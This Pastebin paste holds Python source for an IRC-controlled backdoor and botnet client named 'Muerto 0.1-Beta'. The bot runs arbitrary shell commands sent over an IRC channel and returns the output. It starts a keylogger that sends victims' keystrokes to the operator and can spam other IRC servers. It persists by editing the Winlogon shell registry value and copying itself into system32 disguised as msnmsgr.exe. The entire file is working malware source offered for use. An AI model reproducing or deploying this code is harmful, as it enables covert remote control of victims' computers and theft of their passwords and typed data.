Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import socket,string,os.path,random,time,sys,_winreg,win32api,threading
- ############clase users###############
- class users:
- def __init__(self, user):
- self.user = user
- def existe(self):
- if os.path.isfile('users.txt') == True:
- f = open('users.txt', 'r+')
- data = f.read()
- test = data.split('\n')
- for x in test:
- if x == self.user:
- return '1'
- f.close()
- else:
- return 'x'
- def add(self):
- if os.path.isfile('users.txt') == True:
- if users.existe(self) == '1':
- return '1'
- else:
- f = open('users.txt', 'a')
- f.write(self.user + '\n')
- f.close()
- return '2'
- else:
- f = open('users.txt', 'w')
- f.write(self.user + '\n')
- f.close()
- return '2'
- def borrar(self):
- if os.path.isfile('users.txt') == True:
- if users.existe(self) == '1':
- f = open('users.txt', 'r+')
- data = f.read()
- data = data.replace(self.user,'')
- f.close()
- f1 = open('users.txt', 'w')
- f1.write(data)
- f1.close()
- return '3'
- else:
- return 'x'
- else:
- return 'x'
- def listar(self):
- if os.path.isfile('users.txt') == True:
- f = open('users.txt', 'r+')
- data = f.read()
- test = data.split('\n')
- return test
- f.close()
- else:
- return 'x'
- #keyloger nos envia lo tecleado por el pc huesped acia el server irc
- class keylog(threading.Thread):
- def __init__(self, s, gg):
- threading.Thread.__init__(self)
- self.s = s
- self.gg = gg
- def run(self):
- todo = ''
- stop = False
- while not stop:
- for letra in range(8, 256):
- key = win32api.GetAsyncKeyState(letra)
- if key == -32767:
- if letra != 9 or letra != 13 or letra != 123:
- todo = '%s%s' % (todo, chr(letra))
- if letra == 13:
- log = open('log.txt', 'a+')
- log.write(todo + '\n')
- try:
- self.s.send('PRIVMSG %s 2%s\r\n' % (self.gg, todo))
- todo = ''
- except socket.error:
- stop = True
- break
- if letra == 8:
- todo=todo[0:len(todo)-2]
- #espamear en servidores. esto es una mierda y fue solo un test lo dejo = como idea por mejorar
- #pretendo hacer una seccion se atakes y tengo muchas ideas en mente DoS usando Threads proxys etc
- def spam(lugar, nname, chan, msg):
- s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- try:
- s1.connect((lugar,6667))
- except socket.gaierror:
- s1.close()
- else:
- s1.send('NICK %s\r\n' % nname)
- s1.send('USER pablo pablo pablo : asi aoy yo =)\r\n')
- s1.send('JOIN %s\r\n' % chan)
- s1.send('PRIVMSG %s 2%s\r\n' % (chan, msg))
- s1.close()
- ##################################################
- def entra():
- #configuracion user password
- root = '[Q]3rV[0]'
- password = '1234'
- #nick aleatorio NerD- + numero aleatorio entre 1000 y 9999
- nick = 'underterminal'
- #ident
- ide = 'test'
- #full name
- fullname = 'python-bot'
- #servidor y puerto de coneccion
- server = 'irc.freenode.net'
- puerto = 6667
- #canal en el que entra
- canal = '#uterminal'
- buffer = ''
- acept = '0'
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- s.connect((server,puerto))
- s.send('NICK %s\r\n' % nick)
- s.send('USER %s %s %s : %s\r\n' % (ide, ide, ide, fullname))
- #la sigiente linea esta comentada ya que algunos servidores no dejan enviar el join altiro
- #asi que lo envio despues del raw 376 que es el fin del motd
- #s.send('JOIN %s\r\n' % canal)
- #seteamos el valor de timeout o tiempo maximo de espera sin movimiento en el buffer en 120 segundos
- s.settimeout(120)
- while 1:
- #evitamos error de timeout y socket.error
- try:
- buffer=buffer+s.recv(1024)
- #ante un error cierra el socket y conecta nuevamente
- except socket.error:
- s.close()
- entra()
- #ante un error cierra el socket y conecta nuevamente
- except socket.timeout:
- s.close()
- entra()
- #si no ocurre ningun error contirua
- else:
- temp=string.split(buffer, "\n")
- buffer=temp.pop()
- for line in temp:
- print line
- line_list=string.split(line)
- #respondemos el ping del servidor
- if(line_list[0]=='PING'):
- s.send("PONG %s\r\n" % line_list[1])
- #reconectar despues de un error closing link
- if(line_list[0]=='ERROR'):
- if(line_list[1]==':Closing'):
- if(line_list[2]=='Link:'):
- time.sleep(10)
- s.close()
- entra()
- if(line_list[1]=='376'):
- s.send('JOIN %s\r\n' % canal)
- #despues de logearte comprobar que estes identificado en el servidor irc y agregarlo al archivo users.txt
- if(line_list[1]=='307'):
- if(acept=='1'):
- u = users(line_list[3])
- u.add()
- s.send('PRIVMSG %s 2Login Correcto Para Solicitar Ayuda Usa 4!man\r\n' % line_list[3])
- acept = '0'
- if(line_list[1]=='PRIVMSG'):
- #nos logeamos con !login user pass (el nick tiene que estar identificado)
- if(line_list[3]==':!login'):
- if(line_list[4]==root):
- if(line_list[5]==password):
- acept = '1'
- s.send('WHOIS %s\r\n' % line_list[4])
- a=string.find(line, ':')
- b=string.find(line, '!')
- n1=line[a+1:b]
- if(line_list[3]==':VERSION'):
- s.send('NOTICE %s :VERSION mIRC v6.17 Khaled Mardam-Bey\r\n' % n1)
- f1 = users(n1)
- #comprobamos que el usuario exista
- if(f1.existe()=='1'):
- g1=string.find(line, ':')
- g2=string.find(line, '!')
- gg=line[g1+1:g2]
- ##########ejecutar comandos shell########
- #para que responda en canal
- if(line_list[2]==canal):
- if(line_list[3]==':!cmd'):
- x=string.find(line, ':!cmd')
- comand=line[x+6:len(line)]
- data=os.popen('%s' % comand).read()
- file=open('test.txt','w')
- file.write(data)
- file.close()
- file=open('test.txt','r')
- data=file.read()
- data1=data.split('\n')
- for x in data1:
- time.sleep(1)
- try:
- s.send('PRIVMSG %s : %s\r\n' % (canal, x))
- except socket.error:
- s.close()
- entra()
- #para que responda en pv2
- elif(line_list[3]==':!cmd'):
- x=string.find(line, ':!cmd')
- comand=line[x+6:len(line)]
- data=os.popen('%s' % comand).read()
- file=open('test.txt','w')
- file.write(data)
- file.close()
- file=open('test.txt','r')
- data=file.read()
- data1=data.split('\n')
- for x in data1:
- time.sleep(1)
- try:
- s.send('PRIVMSG %s : %s\r\n' % (gg, x))
- except socket.error:
- s.close()
- entra()
- ##########################################
- #agregar users
- if(line_list[3]==':!adduser'):
- try:
- xs = users(line_list[4])
- except IndexError:
- s.send('PRIVMSG %s 2Parametro obligatorio !adduser nick-usuario\r\n' % gg)
- else:
- if(xs.existe()=='1'):
- s.send('PRIVMSG %s 2El Usuario: 1%s2 Ya Existe\r\n' % (gg, line_list[4]))
- else:
- xs.add()
- s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Ingresaro Correctamente\r\n' % (gg, line_list[4]))
- s.send('PRIVMSG %s 2Bienvenido a Muerto-0.1-Beta, Para solicitar Ayuda use !man\r\n' % line_list[4])
- #borrar user
- if(line_list[3]==':!deluser'):
- try:
- xs = users(line_list[4])
- except IndexError:
- s.send('PRIVMSG %s 2El Usuario Es Invalido\r\n' % gg)
- else:
- if(xs.borrar()=='x'):
- s.send('PRIVMSG %s 2El Usuario: 1%s2 No Existe\r\n' % (gg, line_list[4]))
- else:
- xs.borrar()
- s.send('PRIVMSG %s 2El Usuario: 1%s 2A Sido Eliminado Correctamente\r\n' % (gg, line_list[4]))
- #reiniciar bot
- if(line_list[3]==':!reboot'):
- s.close()
- entra()
- #activar keyloger
- if(line_list[3]==':!keyloger'):
- keyloger = keylog(s, gg)
- keyloger.start()
- #listar usuarios
- if(line_list[3]==':!userlist'):
- xs = users('')
- s.send('PRIVMSG %s 2Lista De Usuarios\r\n' % gg)
- for a in xs.listar():
- if(a!=''):
- s.send('PRIVMSG %s 1%s\r\n' % (gg, a))
- #borrar lista completa de users
- if(line_list[3]==':!reset'):
- s.send('PRIVMSG %s 2La Lista De Usuarios a Sido Reseteada\r\n' % gg)
- f = open('users.txt', 'w')
- f.close()
- #hacer spam en servidores
- if(line_list[3]==':!spam'):
- try:
- k1=line_list[4]
- k2=line_list[5]
- k3=line_list[6]
- k4=line_list[7]
- kk1=string.find(line, line_list[7])
- msg=line[kk1:len(line)]
- spam(k1, k2, k3, msg)
- except IndexError:
- s.send('PRIVMSG %s 2Parametros obligatorios: 4!spam servidor nick-del-bot #canal mensaje\r\n' % gg)
- ###############################
- #manual del bot
- if(line_list[3]==':!man'):
- s.send('PRIVMSG %s 2bienvenido A La Ayuda De: 1Muerto 0.1-Beta\r\n' % gg)
- time.sleep(1)
- s.send('PRIVMSG %s 2Agregar Usuario Ejemplo: 4!adduser juanito\r\n' % gg)
- s.send('PRIVMSG %s 2Eliminar Usuario Ejemplo: 4!deluser juanito\r\n' % gg)
- s.send('PRIVMSG %s 2Listar Usuarios: 4!userlist\r\n' % gg)
- s.send('PRIVMSG %s 2Resetear Usuarios: 4!reset\r\n' % gg)
- s.send('PRIVMSG %s 2Ejecutar Comando Ejemplo: 4!cmd dir c:\\r\n' % gg)
- s.send('PRIVMSG %s 2Reiniciar: 4!reboot\r\n' % gg)
- s.send('PRIVMSG %s 2spamear en servidores: 4!spam server nick-del-bot #canal mensaje\r\n' % gg)
- #crear llave de registro para iniciarnos junto a explorer.exe al iniciar secion de usuario
- t1=string.rfind(sys.argv[0], '\\')
- tt=sys.argv[0][t1+1:len(sys.argv[0])]
- keyp = _winreg.OpenKey( _winreg.HKEY_LOCAL_MACHINE, 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon', 0, _winreg.KEY_SET_VALUE)
- _winreg.SetValueEx (keyp, "shell", 0, _winreg.REG_SZ, "Explorer.exe, msnmsgr.exe")
- _winreg.CloseKey(keyp)
- #copiarnos al directorio system32
- os.popen('copy %s C:\\WINDOWS\\system32\\msnmsgr.exe' % tt)
- #iniciamos el ciclo
- entra()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement